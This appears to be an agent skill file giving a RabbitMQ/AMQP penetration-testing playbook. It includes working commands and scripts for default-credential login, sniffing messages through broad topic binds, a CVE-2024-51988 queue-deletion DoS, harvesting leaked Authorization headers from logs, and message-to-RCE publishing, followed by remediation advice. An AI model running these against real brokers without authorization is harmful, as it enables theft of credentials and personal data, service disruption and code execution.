pentesting-rabbitmq

star 618

Testing RabbitMQ / AMQP message brokers (default 5672/TCP plaintext, 5671/TCP TLS; management 15672) for default guest credentials, anonymous/SASL login, message sniffing via topic/stream/event-exchange binds, queue-deletion DoS (CVE-2024-51988), Authorization-header log leakage, and message-to-RCE sinks during authorized engagements.

xalgord By xalgord schedule Updated 6/6/2026

name: pentesting-rabbitmq description: Testing RabbitMQ / AMQP message brokers (default 5672/TCP plaintext, 5671/TCP TLS; management 15672) for default guest credentials, anonymous/SASL login, message sniffing via topic/stream/event-exchange binds, queue-deletion DoS (CVE-2024-51988), Authorization-header log leakage, and message-to-RCE sinks during authorized engagements. domain: cybersecurity subdomain: network-services-pentesting tags:

  • penetration-testing
  • network-services
  • rabbitmq version: '1.0' author: xalgorix license: Apache-2.0

Pentesting RabbitMQ / AMQP (port 5672)

When to Use

  • Default ports 5672/tcp (AMQP 0-9-1 and 1.0, plaintext) and 5671/tcp (TLS). Management HTTP API/UI on 15672; related ports: 1883/8883 MQTT, 4369 epmd, 25672 Erlang dist, 61613/61614 STOMP.
  • When nmap shows 5672/tcp open amqp RabbitMQ 3.1.5 (0-9).
  • A broker holds in-transit messages — often containing credentials, tokens, PII, and job/command payloads — making read or publish access very impactful.

Quick Enumeration

# Nmap amqp-info (capabilities, version, SASL mechanisms)
nmap -sV -Pn -n -T4 -p 5672 --script amqp-info <IP>
# | amqp-info:
# |   mechanisms: PLAIN AMQPLAIN
# |   version: 3.1.5  product: RabbitMQ  platform: Erlang/OTP

# Probe AMQPS (cert chain, TLS versions, mutual TLS)
openssl s_client -alpn amqp -connect <IP>:5671 -tls1_3 -msg </dev/null

# Inspect server properties / SASL mechanisms with default guest:guest
python3 - <<'PY'
import amqp
conn = amqp.connection.Connection(host="<IP>", port=5672, virtual_host="/")  # default guest:guest
conn.connect()
print("SASL mechanisms:", conn.mechanisms)
for k, v in conn.server_properties.items():
    print(k, v)
PY

# Listeners from a low-priv host shell
rabbitmq-diagnostics -q listeners

Critical: Checks Most Often Missed

  • Default credentials guest:guest — RabbitMQ restricts guest to localhost via loopback_users, but many Docker/IoT images disable that check. Always test remote login rather than assuming it's blocked.
  • ANONYMOUS / weak SASL — if the broker advertises ANONYMOUS, connect with empty user/pass (maps to anonymous_login_user, defaults to guest). PLAIN/AMQPLAIN are on by default.
  • Message sniffing via broad binds — topic authorization is often weaker than defenders expect; binding # or audit.#/payments.* to amq.topic siphons live messages. Bind amq.rabbitmq.event (user.#, connection.#) for a live recon feed of logins/queues.
  • Stream queue historical replayx-queue-type=stream queues are append-only; a read account can replay old messages (x-stream-offset:first) recovering tokens/PII long after consumption.
  • Queue-deletion DoS (CVE-2024-51988) — RabbitMQ <= 3.12.10 skips the configure permission check on HTTP-API queue deletes; a read/write-only user can delete arbitrary queues.
  • Authorization-header log leak — until 4.0.8/4.1.0 the management API logs the base64 Authorization header on a non-existent resource; recover creds from /var/log/rabbitmq/.
  • Message-to-RCE sink — if a downstream worker pipes message content into bash -c "$MSG"/os.system/shell=True, publish access = RCE.

How to CONFIRM

  • Default/anon login: the amqp.Connection(...).connect() succeeds remotely (no ACCESS_REFUSED).
  • Sniffing: a temporary queue bound to amq.topic/amq.rabbitmq.event receives message bodies/headers.
  • CVE-2024-51988: curl -X DELETE .../api/queues/%2F/<queue> succeeds with a low-priv user (queue disappears).
  • RCE: publish a benign probe (id, whoami) and observe its output in a results queue/log before upgrading.

Workflow

Step 1: Enumerate

Run amqp-info, probe AMQPS, and read server_properties/SASL mechanisms. Note version (for CVE mapping) and whether the management plugin (15672) is enabled.

Step 2: Authenticate / unauth access

Test guest:guest remotely, try ANONYMOUS with empty creds, and password-spray known users (AMQP/STOMP brute force). Use the passive queue.declare/exchange.declare permission oracle (NOT_FOUND vs ACCESS_REFUSED) to enumerate object names without creating artifacts.

Step 3: Exploit / Extract

Sniff messages without deleting them:

import pika
creds = pika.PlainCredentials('user','pass')
conn = pika.BlockingConnection(pika.ConnectionParameters('<IP>',5672,'/',creds))
ch = conn.channel()
ch.queue_declare(queue='loot', exclusive=True, auto_delete=True)
ch.queue_bind(queue='loot', exchange='amq.topic', routing_key='#')   # or audit.# / payments.*
for method, props, body in ch.consume('loot', inactivity_timeout=5):
    if body: print(method.routing_key, body)

Replay stream history: bind/consume with arguments={'x-stream-offset':'first'}. Monitor events: bind amq.rabbitmq.event with key user.# and inspect props.headers (body is blank). DoS via CVE-2024-51988:

rabbitmqadmin -H target -P 15672 -u user -p pass show overview | grep -i version  # confirm vuln
curl -k -u user:pass -X DELETE https://target:15672/api/queues/%2F/payments-processing

Trigger and harvest the Authorization-header log leak:

curl -k -u pentester:SuperSecret https://target:15672/api/queues/%2f/ghost
sudo grep -R "Authorization:" /var/log/rabbitmq | cut -d' ' -f3 | base64 -d

Step 4: Post-access / pivot

Exfiltrate messages by declaring a shovel to an attacker broker (rabbitmqadmin shovels declare_amqp091 ...). Reuse decoded/sniffed creds over AMQP/STOMP/MQTT or the OS. If a consumer executes message bodies, publish a payload (incl. via the management API) for RCE:

curl -u user:pass -H 'content-type: application/json' \
  -X POST http://TARGET:15672/api/exchanges/%2F/amq.default/publish \
  -d '{"properties":{},"routing_key":"update","payload":"id","payload_encoding":"string"}'

Key Concepts

Concept Description
Exchange / queue / binding Messages route from exchanges to queues per binding/routing keys
vhost Virtual host namespace; permissions are per-vhost (%2F = default /)
Topic exchange Wildcard routing (#, *); auth often permissive on fresh installs
Stream queue Append-only log queue; supports historical offset replay
Event exchange amq.rabbitmq.event republishes internal events (logins, queues)
SASL mechanisms PLAIN/AMQPLAIN default; ANONYMOUS maps to guest; EXTERNAL = x509

Tools & Systems

Tool Purpose
nmap amqp-info NSE Version, capabilities, SASL mechanisms
openssl s_client AMQPS (5671) cert/TLS/mutual-TLS inspection
python amqp / pika Connect, dump server props, sniff/replay/publish messages
rabbitmqadmin / -ng (v2) Management API CLI: channels, shovels, queues, health checks
curl Management HTTP API (delete queues, publish, trigger log leak)
Hydra / brute tooling AMQP/STOMP credential spraying

Common Scenarios

Scenario 1: Default guest on Docker image

A containerized RabbitMQ left loopback_users disabled; guest:guest logs in remotely and a # topic bind sniffs payment messages with PII.

Scenario 2: Stream replay of secrets

An orders-stream queue retains processed jobs; x-stream-offset:first replays historical messages containing bearer tokens.

Scenario 3: Message-to-RCE

A worker consumer runs bash -c "$MESSAGE"; publishing id via the management API to the update routing key returns command output, confirming RCE.

Output Format

## RabbitMQ / AMQP Finding

**Service**: AMQP (5672/tcp | 5671/tcp TLS), management 15672
**Severity**: <Critical|High|Medium>
**Target**: <IP>:5672  Version: RabbitMQ <x.y.z>

### Evidence
- Default/anon login: guest:guest (or ANONYMOUS) accepted remotely
- Message sniffing: bound amq.topic '#' captured <sensitive payloads>
- Stream replay / event-exchange recon successful
- CVE-2024-51988 queue delete OR Authorization-header log leak confirmed
- RCE sink: published 'id' -> output observed

### Reproduction
python pika consume bound to amq.topic '#'
curl -X DELETE https://<IP>:15672/api/queues/%2F/<queue> -u low:priv

### Recommendation
1. Remove/disable guest and ANONYMOUS; enforce per-vhost least-privilege ACLs
2. Define explicit topic permissions; restrict event-exchange and stream reads
3. Patch RabbitMQ (>= fix for CVE-2024-51988; 4.0.8/4.1.0 for log leak)
4. Require TLS (5671), do not expose 15672/25672/4369 to untrusted networks
5. Never feed message content into shells; validate/whitelist consumer input
Install via CLI
npx skills add https://github.com/xalgord/xalgorix --skill pentesting-rabbitmq
Repository Details
star Stars 618
call_split Forks 109
navigation Branch main
article Path SKILL.md
More from Creator